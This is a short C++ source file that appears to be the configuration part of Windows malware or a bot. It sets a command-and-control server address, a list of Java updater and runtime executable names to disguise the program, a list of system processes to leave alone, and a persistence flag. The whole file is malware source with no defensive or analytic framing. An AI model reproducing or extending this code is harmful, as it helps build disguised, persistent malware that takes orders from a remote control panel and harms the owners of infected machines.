#include "stdafx.h"
#include "constants.h"

std::vector<std::string> control_panels;
std::vector<std::string> possible_exe_names;
std::vector<std::string> clear_processes;
bool stop_persistence = false;
void initialize()
{
	std::string control_panels_ar[] = {"192.168.13.1"};
	control_panels = std::vector<std::string>(control_panels_ar, control_panels_ar + (sizeof(control_panels_ar)/sizeof(*control_panels_ar)));

	std::string possible_exe_names_ar[] = {"jusched.exe", "jucheck.exe", "javaw.exe", "jureg.exe", "jse.exe", "java.exe", "javaws.exe", "javacpl.exe"};
	possible_exe_names = std::vector<std::string>(possible_exe_names_ar, possible_exe_names_ar + (sizeof(possible_exe_names_ar)/sizeof(*possible_exe_names_ar)));

	std::string clear_processes_ar[] = {"System","[System Process]", "smss.exe", "csrss.exe", "winlogon.exe", "services.exe", "lsass.exe", "svchost.exe", "spoolsv.exe", "wscntfy.exe", "alg.exe", "mscorsvw.exe", "ctfmon.exe", "System Process", "taskhost.exe", "dwm.exe", "skype.exe"};
	clear_processes = std::vector<std::string>(clear_processes_ar, clear_processes_ar + (sizeof(clear_processes_ar)/sizeof(*clear_processes_ar)));
}